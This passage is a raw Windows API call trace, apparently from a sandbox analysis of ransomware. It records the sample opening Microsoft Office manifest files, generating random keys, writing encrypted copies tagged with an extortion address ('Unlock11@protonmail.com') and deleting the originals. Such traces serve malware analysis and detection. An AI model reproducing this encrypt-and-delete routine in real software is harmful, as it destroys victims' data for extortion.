hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0133.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xdf28) returned 0x36f8548 [0133.806] GetCurrentThreadId () returned 0x9b0 [0133.806] GetLastError () returned 0x0 [0133.806] GetLastError () returned 0x0 [0133.806] GetLastError () returned 0x0 [0133.806] GetLastError () returned 0x0 [0133.806] GetCurrentThreadId () returned 0x9b0 [0133.807] GetLastError () returned 0x0 [0133.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0133.807] GetLastError () returned 0x0 [0133.808] GetLastError () returned 0x0 [0133.808] GetCurrentThreadId () returned 0x9b0 [0133.808] GetLastError () returned 0x0 [0133.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a2000 | out: hHeap=0x2ad0000) returned 1 [0133.808] GetLastError () returned 0x0 [0133.808] GetLastError () returned 0x0 [0133.808] GetCurrentThreadId () returned 0x9b0 [0133.808] GetLastError () returned 0x0 [0133.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.809] GetLastError () returned 0x0 [0133.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.809] CloseHandle (hObject=0x3ac) returned 1 [0133.809] GetLastError () returned 0x0 [0133.809] GetCurrentThreadId () returned 0x9b0 [0133.809] GetLastError () returned 0x0 [0133.809] GetLastError () returned 0x0 [0133.809] CloseHandle (hObject=0x39c) returned 1 [0133.810] GetLastError () returned 0x0 [0133.810] GetCurrentThreadId () returned 0x9b0 [0133.810] GetLastError () returned 0x0 [0133.810] GetLastError () returned 0x0 [0133.810] GetLastError () returned 0x0 [0133.810] GetLastError () returned 0x0 [0133.810] GetLastError () returned 0x0 [0133.810] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0133.813] GetLastError () returned 0x0 [0133.813] GetCurrentThreadId () returned 0x9b0 [0133.813] GetLastError () returned 0x0 [0133.813] GetCurrentThreadId () returned 0x9b0 [0133.813] GetLastError () returned 0x0 [0133.813] GetLastError () returned 0x0 [0133.813] GetLastError () returned 0x0 [0133.813] GetLastError () returned 0x0 [0133.813] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 0x68 [0133.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0133.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0133.814] GetCurrentThreadId () returned 0x9b0 [0133.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0133.814] GetLastError () returned 0x0 [0133.814] GetLastError () returned 0x0 [0133.814] GetLastError () returned 0x0 [0133.814] GetLastError () returned 0x0 [0133.814] GetCurrentThreadId () returned 0x9b0 [0133.814] GetLastError () returned 0x0 [0133.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0133.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab70 [0133.815] GetLastError () returned 0x0 [0133.815] GetLastError () returned 0x0 [0133.815] GetLastError () returned 0x0 [0133.815] GetLastError () returned 0x0 [0133.815] GetCurrentThreadId () returned 0x9b0 [0133.815] GetLastError () returned 0x0 [0133.815] GetCurrentThreadId () returned 0x9b0 [0133.815] GetLastError () returned 0x0 [0133.815] GetLastError () returned 0x0 [0133.816] GetLastError () returned 0x0 [0133.816] GetLastError () returned 0x0 [0133.816] GetCurrentThreadId () returned 0x9b0 [0133.816] GetLastError () returned 0x0 [0133.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab70 | out: hHeap=0x2ad0000) returned 1 [0133.816] GetLastError () returned 0x0 [0133.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0133.816] GetLastError () returned 0x0 [0133.816] GetLastError () returned 0x0 [0133.816] GetLastError () returned 0x0 [0133.816] GetCurrentThreadId () returned 0x9b0 [0133.817] GetLastError () returned 0x0 [0133.817] GetLastError () returned 0x0 [0133.817] GetLastError () returned 0x0 [0133.817] GetLastError () returned 0x0 [0133.817] GetLastError () returned 0x0 [0133.817] GetCurrentThreadId () returned 0x9b0 [0133.817] GetLastError () returned 0x0 [0133.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0133.846] GetLastError () returned 0x0 [0133.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0133.846] GetLastError () returned 0x0 [0133.846] GetLastError () returned 0x0 [0133.846] GetLastError () returned 0x0 [0133.847] GetCurrentThreadId () returned 0x9b0 [0133.847] GetLastError () returned 0x0 [0133.847] GetCurrentThreadId () returned 0x9b0 [0133.847] GetLastError () returned 0x0 [0133.847] GetLastError () returned 0x0 [0133.847] GetLastError () returned 0x0 [0133.847] GetLastError () returned 0x0 [0133.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.847] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0133.847] GetLastError () returned 0x0 [0133.848] GetCurrentThreadId () returned 0x9b0 [0133.848] GetLastError () returned 0x0 [0133.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0133.848] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b7dc | out: pbBuffer=0x366b7dc) returned 1 [0133.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0133.848] GetCurrentThreadId () returned 0x9b0 [0133.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaaf8 [0133.848] GetLastError () returned 0x0 [0133.849] GetLastError () returned 0x0 [0133.849] GetLastError () returned 0x0 [0133.849] GetLastError () returned 0x0 [0133.849] GetCurrentThreadId () returned 0x9b0 [0133.849] GetLastError () returned 0x0 [0133.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaaf8 | out: hHeap=0x2ad0000) returned 1 [0133.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea878 [0133.849] GetCurrentThreadId () returned 0x9b0 [0133.849] GetLastError () returned 0x0 [0133.849] GetLastError () returned 0x0 [0133.850] GetLastError () returned 0x0 [0133.850] GetLastError () returned 0x0 [0133.850] GetCurrentThreadId () returned 0x9b0 [0133.850] GetLastError () returned 0x0 [0133.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea878 | out: hHeap=0x2ad0000) returned 1 [0133.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a31b0 | out: hHeap=0x2ad0000) returned 1 [0133.850] GetLastError () returned 0x0 [0133.850] GetLastError () returned 0x0 [0133.850] GetLastError () returned 0x0 [0133.850] GetLastError () returned 0x0 [0133.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0133.851] GetLastError () returned 0x0 [0133.851] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.851] GetFileType (hFile=0x39c) returned 0x1 [0133.851] GetLastError () returned 0x0 [0133.851] GetCurrentThreadId () returned 0x9b0 [0133.851] GetLastError () returned 0x0 [0133.851] GetFileType (hFile=0x39c) returned 0x1 [0133.852] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.852] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.852] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.852] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.852] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.852] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.852] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.852] GetLastError () returned 0x0 [0133.852] GetCurrentThreadId () returned 0x9b0 [0133.852] GetLastError () returned 0x0 [0133.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0133.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0133.852] GetLastError () returned 0x0 [0133.853] GetLastError () returned 0x0 [0133.853] GetLastError () returned 0x0 [0133.853] GetLastError () returned 0x0 [0133.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab48f8 [0133.853] GetLastError () returned 0x0 [0133.853] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.854] GetFileType (hFile=0x3ac) returned 0x1 [0133.854] GetLastError () returned 0x0 [0133.854] GetCurrentThreadId () returned 0x9b0 [0133.854] GetLastError () returned 0x0 [0133.854] GetFileType (hFile=0x3ac) returned 0x1 [0133.854] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.854] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.854] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.854] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.854] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.854] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.854] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.855] GetLastError () returned 0x0 [0133.855] GetCurrentThreadId () returned 0x9b0 [0133.855] GetLastError () returned 0x0 [0133.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0133.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfa18 | out: hHeap=0x2ad0000) returned 1 [0133.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0133.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.855] GetLastError () returned 0x0 [0133.855] GetLastError () returned 0x0 [0133.855] GetCurrentThreadId () returned 0x9b0 [0133.855] GetLastError () returned 0x0 [0133.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.856] GetLastError () returned 0x0 [0133.856] GetLastError () returned 0x0 [0133.856] GetCurrentThreadId () returned 0x9b0 [0133.856] GetLastError () returned 0x0 [0133.856] GetLastError () returned 0x0 [0133.858] GetLastError () returned 0x0 [0133.858] GetCurrentThreadId () returned 0x9b0 [0133.858] GetLastError () returned 0x0 [0133.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0133.858] GetCurrentThreadId () returned 0x9b0 [0133.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3891a30 [0133.859] GetLastError () returned 0x0 [0133.859] GetLastError () returned 0x0 [0133.859] GetLastError () returned 0x0 [0133.859] GetLastError () returned 0x0 [0133.859] GetCurrentThreadId () returned 0x9b0 [0133.859] GetLastError () returned 0x0 [0133.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3891a30 | out: hHeap=0x2ad0000) returned 1 [0133.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0133.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.859] GetLastError () returned 0x0 [0133.859] GetLastError () returned 0x0 [0133.860] GetCurrentThreadId () returned 0x9b0 [0133.860] GetLastError () returned 0x0 [0133.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3827e98 | out: hHeap=0x2ad0000) returned 1 [0133.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0133.860] GetLastError () returned 0x0 [0133.860] GetLastError () returned 0x0 [0133.860] GetCurrentThreadId () returned 0x9b0 [0133.860] GetLastError () returned 0x0 [0133.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0133.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.861] GetLastError () returned 0x0 [0133.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.862] CloseHandle (hObject=0x3ac) returned 1 [0133.862] GetLastError () returned 0x0 [0133.862] GetCurrentThreadId () returned 0x9b0 [0133.862] GetLastError () returned 0x0 [0133.862] GetLastError () returned 0x0 [0133.862] CloseHandle (hObject=0x39c) returned 1 [0133.862] GetLastError () returned 0x0 [0133.862] GetCurrentThreadId () returned 0x9b0 [0133.862] GetLastError () returned 0x0 [0133.863] GetLastError () returned 0x0 [0133.863] GetLastError () returned 0x0 [0133.863] GetLastError () returned 0x0 [0133.863] GetLastError () returned 0x0 [0133.863] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0133.864] GetLastError () returned 0x0 [0133.864] GetCurrentThreadId () returned 0x9b0 [0133.864] GetLastError () returned 0x0 [0133.864] GetCurrentThreadId () returned 0x9b0 [0133.864] GetLastError () returned 0x0 [0133.865] GetLastError () returned 0x0 [0133.865] GetLastError () returned 0x0 [0133.865] GetLastError () returned 0x0 [0133.865] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 0x68 [0133.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0133.865] GetCurrentThreadId () returned 0x9b0 [0133.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0133.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0133.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0133.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa08 [0133.866] GetLastError () returned 0x0 [0133.866] GetLastError () returned 0x0 [0133.866] GetLastError () returned 0x0 [0133.866] GetLastError () returned 0x0 [0133.866] GetCurrentThreadId () returned 0x9b0 [0133.866] GetLastError () returned 0x0 [0133.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa08 | out: hHeap=0x2ad0000) returned 1 [0133.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0133.866] GetCurrentThreadId () returned 0x9b0 [0133.866] GetLastError () returned 0x0 [0133.867] GetLastError () returned 0x0 [0133.867] GetLastError () returned 0x0 [0133.867] GetLastError () returned 0x0 [0133.867] GetCurrentThreadId () returned 0x9b0 [0133.867] GetLastError () returned 0x0 [0133.867] GetLastError () returned 0x0 [0133.867] GetLastError () returned 0x0 [0133.867] GetLastError () returned 0x0 [0133.867] GetLastError () returned 0x0 [0133.867] GetCurrentThreadId () returned 0x9b0 [0133.867] GetLastError () returned 0x0 [0133.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0133.868] GetLastError () returned 0x0 [0133.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0133.868] GetLastError () returned 0x0 [0133.868] GetLastError () returned 0x0 [0133.868] GetLastError () returned 0x0 [0133.868] GetCurrentThreadId () returned 0x9b0 [0133.868] GetLastError () returned 0x0 [0133.868] GetCurrentThreadId () returned 0x9b0 [0133.868] GetLastError () returned 0x0 [0133.869] GetLastError () returned 0x0 [0133.869] GetLastError () returned 0x0 [0133.869] GetLastError () returned 0x0 [0133.869] GetCurrentThreadId () returned 0x9b0 [0133.869] GetLastError () returned 0x0 [0133.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0133.869] GetLastError () returned 0x0 [0133.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0133.869] GetLastError () returned 0x0 [0133.869] GetLastError () returned 0x0 [0133.869] GetLastError () returned 0x0 [0133.870] GetCurrentThreadId () returned 0x9b0 [0133.870] GetLastError () returned 0x0 [0133.870] GetLastError () returned 0x0 [0133.870] GetLastError () returned 0x0 [0133.870] GetLastError () returned 0x0 [0133.870] GetLastError () returned 0x0 [0133.870] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.870] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e)) returned 1 [0133.870] GetLastError () returned 0x0 [0133.871] GetCurrentThreadId () returned 0x9b0 [0133.871] GetLastError () returned 0x0 [0133.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0133.871] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b764 | out: pbBuffer=0x366b764) returned 1 [0133.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0133.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0133.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0133.871] GetCurrentThreadId () returned 0x9b0 [0133.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa58 [0133.871] GetLastError () returned 0x0 [0133.871] GetLastError () returned 0x0 [0133.872] GetLastError () returned 0x0 [0133.872] GetLastError () returned 0x0 [0133.872] GetCurrentThreadId () returned 0x9b0 [0133.872] GetLastError () returned 0x0 [0133.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa58 | out: hHeap=0x2ad0000) returned 1 [0133.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabc0 [0133.872] GetCurrentThreadId () returned 0x9b0 [0133.872] GetLastError () returned 0x0 [0133.872] GetLastError () returned 0x0 [0133.872] GetLastError () returned 0x0 [0133.872] GetLastError () returned 0x0 [0133.873] GetCurrentThreadId () returned 0x9b0 [0133.873] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.873] GetFileType (hFile=0x39c) returned 0x1 [0133.873] GetCurrentThreadId () returned 0x9b0 [0133.873] GetFileType (hFile=0x39c) returned 0x1 [0133.873] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.873] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.873] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.874] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.874] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.874] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.874] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.874] GetCurrentThreadId () returned 0x9b0 [0133.874] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.874] GetFileType (hFile=0x3ac) returned 0x1 [0133.874] GetCurrentThreadId () returned 0x9b0 [0133.875] GetFileType (hFile=0x3ac) returned 0x1 [0133.875] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.875] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.875] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.875] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.875] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.875] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.875] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.875] GetCurrentThreadId () returned 0x9b0 [0133.875] GetCurrentThreadId () returned 0x9b0 [0133.875] GetCurrentThreadId () returned 0x9b0 [0133.877] GetCurrentThreadId () returned 0x9b0 [0133.878] GetCurrentThreadId () returned 0x9b0 [0133.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.878] GetCurrentThreadId () returned 0x9b0 [0133.893] GetCurrentThreadId () returned 0x9b0 [0133.893] GetCurrentThreadId () returned 0x9b0 [0133.894] GetCurrentThreadId () returned 0x9b0 [0133.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.894] GetCurrentThreadId () returned 0x9b0 [0133.896] GetCurrentThreadId () returned 0x9b0 [0133.896] GetCurrentThreadId () returned 0x9b0 [0133.898] GetCurrentThreadId () returned 0x9b0 [0133.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.898] GetCurrentThreadId () returned 0x9b0 [0133.899] GetCurrentThreadId () returned 0x9b0 [0133.899] GetCurrentThreadId () returned 0x9b0 [0133.900] GetCurrentThreadId () returned 0x9b0 [0133.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.900] 